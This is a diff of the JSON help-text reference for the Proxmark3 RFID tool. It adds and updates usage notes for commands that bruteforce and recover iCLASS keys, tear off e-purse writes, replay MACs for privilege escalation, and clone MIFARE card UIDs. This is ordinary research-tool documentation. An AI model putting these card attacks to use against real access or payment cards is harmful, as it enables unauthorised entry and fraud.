@@ -1378,13 +1392,39 @@ "-n, --num Exit simulation after blocks have been read by reader. 0 = infinite", "-x Performs the 'reader attack', nr/ar attack against a reader", "--sk Fill simulator keys from found keys", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--c1 UL-C Auth - all zero handshake part 1", + "--c2 UL-C Auth - all zero handshake part 2" ], - "usage": "hf 14a sim [-hxv] -t <1-12> [-u ] [-n ] [--sk]" + "usage": "hf 14a sim [-hxv] -t <1-12> [-u ] [-n ] [--sk] [--c1] [--c2]" + }, + "hf 14a simaid": { + "command": "hf 14a simaid", + "description": "Simulate ISO/IEC 14443 type A tag with 4,7 or 10 byte UID, and filter for AID Values These AID Values can be responded to and include extra APDU commands on GetData after response", + "notes": [ + "hf 14a simaid -t 3 -> MIFARE Desfire", + "hf 14a simaid -t 4 -> ISO/IEC 14443-4", + "hf 14a simaid -t 11 -> Javacard (JCOP)", + "hf 14a simaid -t 3 --aid a000000000000000000000 --selectaid_response 9000 --getdata_response 9000 -> Custom AID and responses", + "hf 14a simaid -t 3 --ats 0578817222 --selectaid_response 01009000 --getdata_response 86009000 -> Custom ATS and responses", + "hf 14a simaid -t 3 --ats 0578817222 -x -> Enumerate AID Values" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-t, --type <1-12> Simulation type to use", + "-u, --uid <4|7|10> hex bytes UID", + "-r, --ats <0-20> hex bytes ATS", + "-a, --aid <0-30> hex bytes for AID to respond to (Default: A000000000000000000000)", + "-e, --selectaid_response <0-100> hex bytes for APDU Response to AID Select (Default: 9000)", + "-p, --getdata_response <0-100> hex bytes for APDU Response to Get Data request after AID (Default: 9000)", + "-x, --enumerate Enumerate all AID values via returning Not Found and print them to console" + ], + "usage": "hf 14a simaid [-hx] -t <1-12> [-u ] [-r ] [-a ] [-e ] [-p ]" }, "hf 14a sniff": { "command": "hf 14a sniff", - "description": "Sniff the communication between Hitag reader and tag. Use `hf 14a list` to view collected data.", + "description": "Sniff the communication between reader and tag Use `hf 14a list` to view collected data.", "notes": [ "hf 14a sniff -c -r" ], @@ -1583,6 +1623,19 @@ ], "usage": "hf 14b restore [-h] [-f ] [--512] [--4k]" }, + "hf 14b setuid": { + "command": "hf 14b setuid", + "description": "Set UID for magic card (only works with such cards)", + "notes": [ + "hf 14b setuid -u 11223344" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-u, --uid UID, 4 hex bytes" + ], + "usage": "hf 14b setuid [-h] -u " + }, "hf 14b sim": { "command": "hf 14b sim", "description": "Simulate a ISO/IEC 14443 type B tag with 4 byte UID / PUPI", @@ -1598,7 +1651,7 @@ }, "hf 14b sniff": { "command": "hf 14b sniff", - "description": "Sniff the communication between reader and tag. Use `hf 14b list` to view collected data.", + "description": "Sniff the communication between reader and tag Use `hf 14b list` to view collected data.", "notes": [ "hf 14b sniff" ], @@ -2006,6 +2059,23 @@ ], "usage": "hf 15 slixprivacyenable [-h] -p " }, + "hf 15 slixprotectpage": { + "command": "hf 15 slixprotectpage", + "description": "Defines protection pointer address of user mem and access cond. for pages", + "notes": [ + "hf 15 slixprotectpage -w deadbeef -p 3 -h 3" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --readpw read password, 4 hex bytes", + "-w, --writepw write password, 4 hex bytes", + "-p, --ptr protection pointer page (0-78), if 0 entire user mem", + "-l, --lo page protection flags of lo page (0-None, 1-ReadPR, 2-WritePR)", + "-i, --hi page protection flags of hi page (0-None, 1-ReadPR, 2-WritePR)" + ], + "usage": "hf 15 slixprotectpage [-h] [-r ] [-w ] [-p ] -l -i " + }, "hf 15 slixwritepwd": { "command": "hf 15 slixwritepwd", "description": "Write a password on a SLIX family ISO-15693 tag.nSome tags do not support all different password types.", @@ -2037,7 +2107,7 @@ "command": "hf 15 view", "description": "Print a ISO-15693 tag dump file (bin/eml/json)", "notes": [ - "hf 15 view -f hf-iclass-AA162D30F8FF12F1-dump.bin" + "hf 15 view -f hf-15-1122334455667788-dump.bin" ], "offline": true, "options": [ @@ -2444,7 +2514,7 @@ }, "hf emrtd help": { "command": "hf emrtd help", - "description": "help This help info Display info about an eMRTD list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no Dump all files on an eMRTD", + "description": "help This help info Tag information list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no Dump all files on an eMRTD", "notes": [ "hf emrtd dump", "hf emrtd dump --dir ../dump", @@ -2589,6 +2659,19 @@ ], "usage": "hf felica auth2 [-hv] [-i ] [-c ] [-k ]" }, + "hf felica dump": { + "command": "hf felica dump", + "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", + "notes": [ + "hf felica dump" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--no-auth read public services" + ], + "usage": "hf felica dump [-h] [--no-auth]" + }, "hf felica help": { "command": "hf felica help", "description": "----------- ----------------------- General ----------------------- help This help list List ISO 18092/FeliCa history ----------- ----------------------- Operations ----------------------- ----------- ----------------------- FeliCa Standard ----------------------- ----------- ----------------------- FeliCa Light ----------------------- --------------------------------------------------------------------------------------- hf felica list available offline: yes Alias of `trace list -t felica` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", @@ -2622,6 +2705,25 @@ ], "usage": "hf felica info [-h]" }, + "hf felica liteauth": { + "command": "hf felica liteauth", + "description": "Authenticate", + "notes": [ + "hf felica liteauth -i 11100910C11BC407", + "hf felica liteauth --key 46656c69436130313233343536616263", + "hf felica liteauth --key 46656c69436130313233343536616263 -k", + "hf felica liteauth -c 701185c59f8d30afeab8e4b3a61f5cc4 --key 46656c69436130313233343536616263" + ], + "offline": false, + "options": [ + "-h, --help This help", + "--key set card key, 16 bytes", + "-c, set random challenge, 16 bytes", + "-i, set custom IDm", + "-k, keep signal field ON after receive" + ], + "usage": "hf felica liteauth [-hk] [--key ] [-c ] [-i ]" + }, "hf felica litedump": { "command": "hf felica litedump", "description": "Dump ISO/18092 FeliCa Lite tag. It will timeout after 200sec", @@ -2630,9 +2732,11 @@ ], "offline": false, "options": [ - "-h, --help This help" + "-h, --help This help", + "-i, set custom IDm", + "--key set card key, 16 bytes" ], - "usage": "hf felica litedump [-h]" + "usage": "hf felica litedump [-h] [-i ] [--key ]" }, "hf felica litesim": { "command": "hf felica litesim", @@ -2784,7 +2888,7 @@ }, "hf felica scsvcode": { "command": "hf felica scsvcode", - "description": "Feature not implemented yet. Feel free to contribute!", + "description": "Dump all existing Area Code and Service Code.", "notes": [ "hf felica scsvcode" ], @@ -3097,9 +3201,25 @@ ], "usage": "hf gallagher diversify [-h] --aid [--keynum ] [--uid ] [--sitekey ] [--apdu]" }, + "hf gallagher encode": { + "command": "hf gallagher encode", + "description": "Encode a Gallagher credential block Credential block can be specified with or without the bitwise inverse.", + "notes": [ + "hf gallagher encode --rc 1 --fc 22153 --cn 1253518 --il 1" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-r, --rc Region code. 4 bits max", + "-f, --fc Facility code. 2 bytes max", + "-c, --cn Card number. 3 bytes max", + "-i, --il Issue level. 4 bits max" + ], + "usage": "hf gallagher encode [-h] -r -f -c -i " + }, "hf gallagher help": { "command": "hf gallagher help", - "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", + "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", "notes": [ "hf gallagher reader -@ -> continuous reader mode", "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> skip CAD" @@ -3117,7 +3237,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3160,7 +3280,7 @@ }, "hf iclass chk": { "command": "hf iclass chk", - "description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", + "description": "Checkkeys loads a dictionary text file with 8 byte hex keys to test authenticating against a iCLASS tag", "notes": [ "hf iclass chk -f iclass_default_keys.dic", "hf iclass chk -f iclass_elite_keys.dic --elite", @@ -3182,35 +3302,33 @@ "command": "hf iclass configcard", "description": "Manage reader configuration card via Cardhelper or internal database, The generated config card will be uploaded to device emulator memory. You can start simulating `hf iclass sim -t 3` or use the emul commands", "notes": [ - "hf iclass configcard -l -> download config card settings from cardhelper", "hf iclass configcard -p -> print all config cards in the database", - "hf iclass configcard --ci 1 -> view config card setting in slot 1", - "hf iclass configcard -g --ci 0 -> generate config file from slot 0" + "hf iclass configcard --g 0 -> generate config file with option 0" ], "offline": false, "options": [ "-h, --help This help", - "--ci use config slot at index", - "--ki Key index to select key from memory 'hf iclass managekeys'", - "-g generate card dump file", - "-l load available cards", + "--g use config option", + "--ki Card Key - index to select key from memory 'hf iclass managekeys'", + "--eki Elite Key - index to select key from memory 'hf iclass managekeys'", + "--mrki Standard Master Key - index to select key from memory 'hf iclass managekeys'", + "--elite Use elite key for the the Card Key ki", "-p print available cards" ], - "usage": "hf iclass configcard [-hglp] [--ci ] [--ki ]" + "usage": "hf iclass configcard [-hp] [--g ] [--ki ] [--eki ] [--mrki ] [--elite]" }, "hf iclass creditepurse": { "command": "hf iclass creditepurse", "description": "Credit the epurse on an iCLASS tag. The provided key must be the credit key. The first two bytes of the epurse are the debit value (big endian) and may be any value except FFFF. The remaining two bytes of the epurse are the credit value and must be smaller than the previous value.", "notes": [ - "hf iclass creditepurse -d FEFFFFFF -k 001122334455667B", - "hf iclass creditepurse -d FEFFFFFF --ki 0" + "hf iclass creditepurse --ki 0 -d FEFFFEFF" ], "offline": false, "options": [ "-h, --help This help", "-k, --key Credit key as 8 hex bytes", "--ki Key index to select key from memory 'hf iclass managekeys'", - "-d, --data data to write as 8 hex bytes", + "-d, --data data to write as 4 hex bytes", "--elite elite computations applied to key", "--raw no computations applied to key", "-v, --verbose verbose output", @@ -3285,13 +3403,12 @@ }, "hf iclass encode": { "command": "hf iclass encode", - "description": "Encode binary wiegand to block 7,8,9 Use either --bin or --wiegand/--fc/--cn", + "description": "Encode binary wiegand to block 7,8,9 Use either --bin or --wiegand/--fc/--cn When using emulator you have to first load a credential into emulator memory", "notes": [ "hf iclass encode --bin 10001111100000001010100011 --ki 0 -> FC 31 CN 337 (H10301)", "hf iclass encode -w H10301 --fc 31 --cn 337 --ki 0 -> FC 31 CN 337 (H10301)", "hf iclass encode --bin 10001111100000001010100011 --ki 0 --elite -> FC 31 CN 337 (H10301), writing w elite key", - "hf iclass encode -w H10301 --fc 31 --cn 337 --emu -> Writes the ecoded data to emulator memory", - "When using emulator you have to first load a credential into emulator memory" + "hf iclass encode -w H10301 --fc 31 --cn 337 --emu -> Writes the ecoded data to emulator memory" ], "offline": true, "options": [ @@ -3377,7 +3494,7 @@ }, "hf iclass help": { "command": "hf iclass help", - "description": "help This help list List iclass history view Display content from tag dump file ----------- --------------------- Recovery -------------------- loclass Use loclass to perform bruteforce reader attack lookup Uses authentication trace to check for key in dictionary file legbrute Bruteforces 40 bits of a partial raw key ----------- ---------------------- Utils ---------------------- calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys encode Encode binary wiegand to block 7 encrypt Encrypt given block data decrypt Decrypt given block data or tag dump file managekeys Manage keys to use with iclass commands permutekey Permute function from 'heart of darkness' paper --------------------------------------------------------------------------------------- hf iclass list available offline: yes Alias of `trace list -t iclass -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "help This help list List iclass history view Display content from tag dump file ----------- --------------------- Recovery -------------------- loclass Use loclass to perform bruteforce reader attack lookup Uses authentication trace to check for key in dictionary file legbrute Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs unhash Reverses a diversified key to retrieve hash0 pre-images after DES encryption ----------- ---------------------- Utils ---------------------- calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys encode Encode binary wiegand to block 7 encrypt Encrypt given block data decrypt Decrypt given block data or tag dump file managekeys Manage keys to use with iclass commands permutekey Permute function from 'heart of darkness' paper --------------------------------------------------------------------------------------- hf iclass list available offline: yes Alias of `trace list -t iclass -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf iclass list --frame -> show frame delay times", "hf iclass list -1 -> use trace buffer" @@ -3411,32 +3528,43 @@ }, "hf iclass legbrute": { "command": "hf iclass legbrute", - "description": "This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.", + "description": "This command takes sniffed trace data and a partial raw key and bruteforces the remaining 40 bits of the raw key. Complete 40 bit keyspace is 1'099'511'627'776 and command is locked down to max 16 threads currently. A possible worst case scenario on 16 threads estimates XXX days YYY hours MMM minutes.", "notes": [ - "hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225" + "hf iclass legbrute --epurse feffffffffffffff --macs1 1306cad9b6c24466 --macs2 f0bf905e35f97923 --pk B4F12AADC5301225" ], "offline": true, "options": [ "-h, --help This help", - "--csn Specify CSN as 8 hex bytes", "--epurse Specify ePurse as 8 hex bytes", - "--macs MACs", - "--pk Partial Key" + "--macs1 MACs captured from the reader", + "--macs2 MACs captured from the reader, different than the first set (with the same csn and epurse value)", + "--pk Partial Key from legrec or starting key of keyblock from legbrute", + "--index Where to start from to retrieve the key, default 0 - value in millions e.g. 1 is 1 million", + "--threads Number of threads to use, by default it uses the cpu's max threads (max 16)." ], - "usage": "hf iclass legbrute [-h] --csn --epurse --macs --pk " + "usage": "hf iclass legbrute [-h] --epurse --macs1 --macs2 --pk [--index ] [--threads ]" }, "hf iclass legrec": { "command": "hf iclass legrec", - "description": "Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!", + "description": "Attempts to recover the diversified key of a specific iCLASS card. This may take several days. The card must remain be on the PM3 antenna during the whole process. ! Warning ! This process may brick the card! ! Warning !", "notes": [ - "hf iclass legrec --macs 0000000089cb984b" + "hf iclass legrec --macs 0000000089cb984b", + "hf iclass legrec --macs 0000000089cb984b --index 0 --loop 100 --notest" ], "offline": false, "options": [ "-h, --help This help", - "--macs MACs" + "--macs AA1 Authentication MACs", + "--index Where to start from to retrieve the key (def: 0)", + "--loop The number of key retrieval cycles to perform, max 10000 (def 100)", + "--debug Re-enables tracing for debugging. Limits cycles to 1", + "--notest Perform real writes on the card", + "--allnight Loops the loop for 10 times, recommended loop value of 5000", + "--fast Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card", + "--sl Lower card comms delay times, further speeds increases, may cause more errors", + "--est Estimates the key updates based on the card's CSN assuming standard key" ], - "usage": "hf iclass legrec [-h] --macs " + "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est]" }, "hf iclass loclass": { "command": "hf iclass loclass", @@ -3568,22 +3696,34 @@ "--elite elite computations applied to key", "--raw no computations applied to key", "-v, --verbose verbose output", - "--shallow use shallow (ASK) reader modulation instead of OOK" + "--shallow use shallow (ASK) reader modulation instead of OOK", + "--nr replay of nr mac with privilege escalation" ], - "usage": "hf iclass restore [-hv] -f [-k ] [--ki ] --first --last [--credit] [--elite] [--raw] [--shallow]" + "usage": "hf iclass restore [-hv] -f [-k ] [--ki ] --first --last [--credit] [--elite] [--raw] [--shallow] [--nr]" }, "hf iclass sam": { "command": "hf iclass sam", "description": "Extract PACS via a HID SAM", "notes": [ - "hf iclass sam" + "hf iclass sam", + "hf iclass sam -p -d a005a103800104 -> get PACS data, prevent epurse update", + "hf iclass sam --break -> get Nr-MAC for extracting encrypted SIO" ], "offline": false, "options": [ "-h, --help This help", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "-k, --keep keep the field active after command executed", + "-n, --nodetect skip selecting the card and sending card details to SAM", + "-t, --tlv decode TLV", + "--break stop tag interaction on nr-mac", + "-p, --prevent fake epurse update", + "--shallow shallow mod", + "-d, --data DER encoded command to send to SAM", + "-s, --snmp data is in snmp format without headers", + "--info get SAM infos (version, serial number)" ], - "usage": "hf iclass sam [-hv]" + "usage": "hf iclass sam [-hvkntps] [--break] [--shallow] [-d ]... [--info]" }, "hf iclass sim": { "command": "hf iclass sim", @@ -3593,7 +3733,9 @@ "hf iclass sim -t 1 -> simulate with default CSN", "hf iclass sim -t 2 -> execute loclass attack online part", "hf iclass sim -t 3 -> simulate full iCLASS 2k tag", - "hf iclass sim -t 4 -> Reader-attack, adapted for KeyRoll mode, gather reader responses to extract elite key" + "hf iclass sim -t 4 -> Reader-attack, adapted for KeyRoll mode, gather reader responses to extract elite key", + "hf iclass sim -t 6 -> simulate full iCLASS 2k tag that doesn't respond to r/w requests to the last SIO block", + "hf iclass sim -t 7 -> simulate full iCLASS 2k tag that doesn't XOR or respond to r/w requests on block 3" ], "offline": false, "options": [ @@ -3605,7 +3747,7 @@ }, "hf iclass sniff": { "command": "hf iclass sniff", - "description": "Sniff the communication reader and tag", + "description": "Sniff the communication between reader and tag", "notes": [ "hf iclass sniff", "hf iclass sniff -j -> jam e-purse updates" @@ -3617,6 +3759,50 @@ ], "usage": "hf iclass sniff [-hj]" }, + "hf iclass tear": { + "command": "hf iclass tear", + "description": "Tear off an iCLASS tag block e-purse usually 300-500us to trigger the erase phase also seen 1800-2100us on some cards Make sure you know the target card credit key. Typical `--ki 1` or `--ki 3`", + "notes": [ + "hf iclass tear --blk 10 -d AAAAAAAAAAAAAAAA -k 001122334455667B -s 300 -e 600", + "hf iclass tear --blk 10 -d AAAAAAAAAAAAAAAA --ki 0 -s 300 -e 600", + "hf iclass tear --blk 2 -d fdffffffffffffff --ki 1 --credit -s 400 -e 500" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --key Access key as 8 hex bytes", + "--ki Key index to select key from memory 'hf iclass managekeys'", + "--blk block number", + "-d, --data data to write as 8 hex bytes", + "-m, --mac replay mac data (4 hex bytes)", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key", + "--nr replay of NR/MAC", + "-v, --verbose verbose output", + "--shallow use shallow (ASK) reader modulation instead of OOK", + "-s tearoff delay start (in us) must be between 1 and 43000 (43ms). Precision is about 1/3 us", + "-i tearoff delay increment (in us) - default 10", + "-e tearoff delay end (in us) must be a higher value than the start delay", + "--loop number of times to loop per tearoff time", + "--sleep Sleep between each tear", + "--arm Runs the commands on device side and tries to stabilize tears" + ], + "usage": "hf iclass tear [-hv] [-k ] [--ki ] --blk [-d ] [-m ] [--credit] [--elite] [--raw] [--nr] [--shallow] -s [-i ] [-e ] [--loop ] [--sleep ] [--arm]" + }, + "hf iclass unhash": { + "command": "hf iclass unhash", + "description": "Reverses the hash0 function used generate iclass diversified keys after DES encryption, Function returns the DES crypted CSN. Next step bruteforcing.", + "notes": [ + "hf iclass unhash -k B4F12AADC5301A2D" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-k, --divkey Card diversified key" + ], + "usage": "hf iclass unhash [-h] -k " + }, "hf iclass view": { "command": "hf iclass view", "description": "Print a iCLASS tag dump file (bin/eml/json)", @@ -3657,7 +3843,7 @@ "--credit key is assumed to be the credit key", "--elite elite computations applied to key", "--raw no computations applied to key", - "--nr replay of NR/MAC", + "--nr replay of NR/MAC block write or use privilege escalation if mac is empty", "-v, --verbose verbose output", "--shallow use shallow (ASK) reader modulation instead of OOK" ], @@ -4234,7 +4420,7 @@ }, "hf mf autopwn": { "command": "hf mf autopwn", - "description": "This command automates the key recovery process on MIFARE Classic cards. It uses the fchk, chk, darkside, nested, hardnested and staticnested to recover keys. If all keys are found, it try dumping card content both to file and emulator memory.", + "description": "This command automates the key recovery process on MIFARE Classic cards. It uses the fchk, chk, darkside, nested, hardnested and staticnested to recover keys. If all keys are found, it try dumping card content both to file and emulator memory. default file name template is `hf-mf--.` using suffix the template becomes `hf-mf---.`", "notes": [ "hf mf autopwn", "hf mf autopwn -s 0 -a -k FFFFFFFFFFFF -> target MFC 1K card, Sector 0 with known key A 'FFFFFFFFFFFF'", @@ -4250,9 +4436,11 @@ "-a Input key A (def)", "-b Input key B", "-f, --file filename of dictionary", + "--suffix Add this suffix to generated files", "--slow Slower acquisition (required by some non standard cards)", "-l, --legacy legacy mode (use the slow `hf mf chk`)", "-v, --verbose verbose output", + "--mem Use dictionary from flashmemory", "--ns No save to file", "--mini MIFARE Classic Mini / S20", "--1k MIFARE Classic 1k / S50 (default)", @@ -4265,7 +4453,24 @@ "--i2 AVX2", "--i5 AVX512" ], - "usage": "hf mf autopwn [-hablv] [-k ]... [-s ] [-f ] [--slow] [--ns] [--mini] [--1k] [--2k] [--4k] [--in] [--im] [--is] [--ia] [--i2] [--i5]" + "usage": "hf mf autopwn [-hablv] [-k ]... [-s ] [-f ] [--suffix ] [--slow] [--mem] [--ns] [--mini] [--1k] [--2k] [--4k] [--in] [--im] [--is] [--ia] [--i2] [--i5]" + }, + "hf mf bambukeys": { + "command": "hf mf bambukeys", + "description": "Generate keys for a Bambu Lab filament tag", + "notes": [ + "hf mf bambukeys -r", + "hf mf bambukeys -r -d", + "hf mf bambukeys -u 11223344" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-u, --uid UID (4 hex bytes)", + "-r Read UID from tag", + "-d Dump keys to file" + ], + "usage": "hf mf bambukeys [-hrd] [-u ]" }, "hf mf brute": { "command": "hf mf brute", @@ -4301,9 +4506,10 @@ "options": [ "-h, --help This help", "-b, --blk block number", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cgetblk [-hv] -b " + "usage": "hf mf cgetblk [-hv] -b [--gdm]" }, "hf mf cgetsc": { "command": "hf mf cgetsc", @@ -4315,9 +4521,10 @@ "options": [ "-h, --help This help", "-s, --sec sector number", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cgetsc [-hv] -s " + "usage": "hf mf cgetsc [-hv] -s [--gdm]" }, "hf mf chk": { "command": "hf mf chk", @@ -4363,11 +4570,13 @@ "-f, --file Specify a filename for dump file", "--mini MIFARE Classic Mini / S20", "--1k MIFARE Classic 1k / S50 (def)", + "--1k+ MIFARE Classic Ev1 1k / S50", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--emu from emulator memory" + "--emu from emulator memory", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cload [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu]" + "usage": "hf mf cload [-h] [-f ] [--mini] [--1k] [--1k+] [--2k] [--4k] [--emu] [--gdm]" }, "hf mf csave": { "command": "hf mf csave", @@ -4384,9 +4593,10 @@ "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--emu to emulator memory" + "--emu to emulator memory", + "--gdm to emulator memory" ], - "usage": "hf mf csave [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu]" + "usage": "hf mf csave [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu] [--gdm]" }, "hf mf csetblk": { "command": "hf mf csetblk", @@ -4399,9 +4609,10 @@ "-h, --help This help", "-b, --blk block number", "-d, --data bytes to write, 16 hex bytes", - "-w, --wipe wipes card with backdoor cmd before writing" + "-w, --wipe wipes card with backdoor cmd before writing", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf csetblk [-hw] -b [-d ]" + "usage": "hf mf csetblk [-hw] -b [-d ] [--gdm]" }, "hf mf csetuid": { "command": "hf mf csetuid", @@ -4416,9 +4627,10 @@ "-w, --wipe wipes card with backdoor cmd`", "-u, --uid UID, 4/7 hex bytes", "-a, --atqa ATQA, 2 hex bytes", - "-s, --sak SAK, 1 hex byte" + "-s, --sak SAK, 1 hex byte", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf csetuid [-hw] [-u ] [-a ] [-s ]" + "usage": "hf mf csetuid [-hw] [-u ] [-a ] [-s ] [--gdm]" }, "hf mf cview": { "command": "hf mf cview", @@ -4434,9 +4646,10 @@ "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cview [-hv] [--mini] [--1k] [--2k] [--4k]" + "usage": "hf mf cview [-hv] [--mini] [--1k] [--2k] [--4k] [--gdm]" }, "hf mf cwipe": { "command": "hf mf cwipe", @@ -4450,9 +4663,10 @@ "-h, --help This help", "-u, --uid UID, 4 hex bytes", "-a, --atqa ATQA, 2 hex bytes", - "-s, --sak SAK, 1 hex byte" + "-s, --sak SAK, 1 hex byte", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cwipe [-h] [-u ] [-a ] [-s ]" + "usage": "hf mf cwipe [-h] [-u ] [-a ] [-s ] [--gdm]" }, "hf mf darkside": { "command": "hf mf darkside", @@ -4467,7 +4681,7 @@ "-h, --help This help", "--blk Target block", "-b Target key B instead of default key A", - "-c Target Auth 6x" + "-c Target key type is key A + offset" ], "usage": "hf mf darkside [-hb] [--blk ] [-c ]" }, @@ -4525,12 +4739,14 @@ "-h, --help This help", "-a input key type is key A(def)", "-b input key type is key B", + "-c input key type is key A + offset", + "-k, --key key, 6 hex bytes, only for option -c", "--mini MIFARE Classic Mini / S20", "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70" ], - "usage": "hf mf ecfill [-hab] [--mini] [--1k] [--2k] [--4k]" + "usage": "hf mf ecfill [-hab] [-c ] [-k ] [--mini] [--1k] [--2k] [--4k]" }, "hf mf eclr": { "command": "hf mf eclr", @@ -4792,7 +5008,7 @@ }, "hf mf gen3blk": { "command": "hf mf gen3blk", - "description": "Overwrite full manufacturer block for magic Gen3 card - You can specify part of manufacturer block as 4/7-bytes for UID change only NOTE: BCC, SAK, ATQA will be calculated automatically", + "description": "Overwrite full manufacturer block for magic Gen3 card - You can specify part of manufacturer block as 4/7-bytes for UID change only NOTE: BCC and ATQA will be calculated automatically SAK will be automatically set to default values if not specified", "notes": [ "hf mf gen3blk -> print current data", "hf mf gen3blk -d 01020304 -> set 4 byte 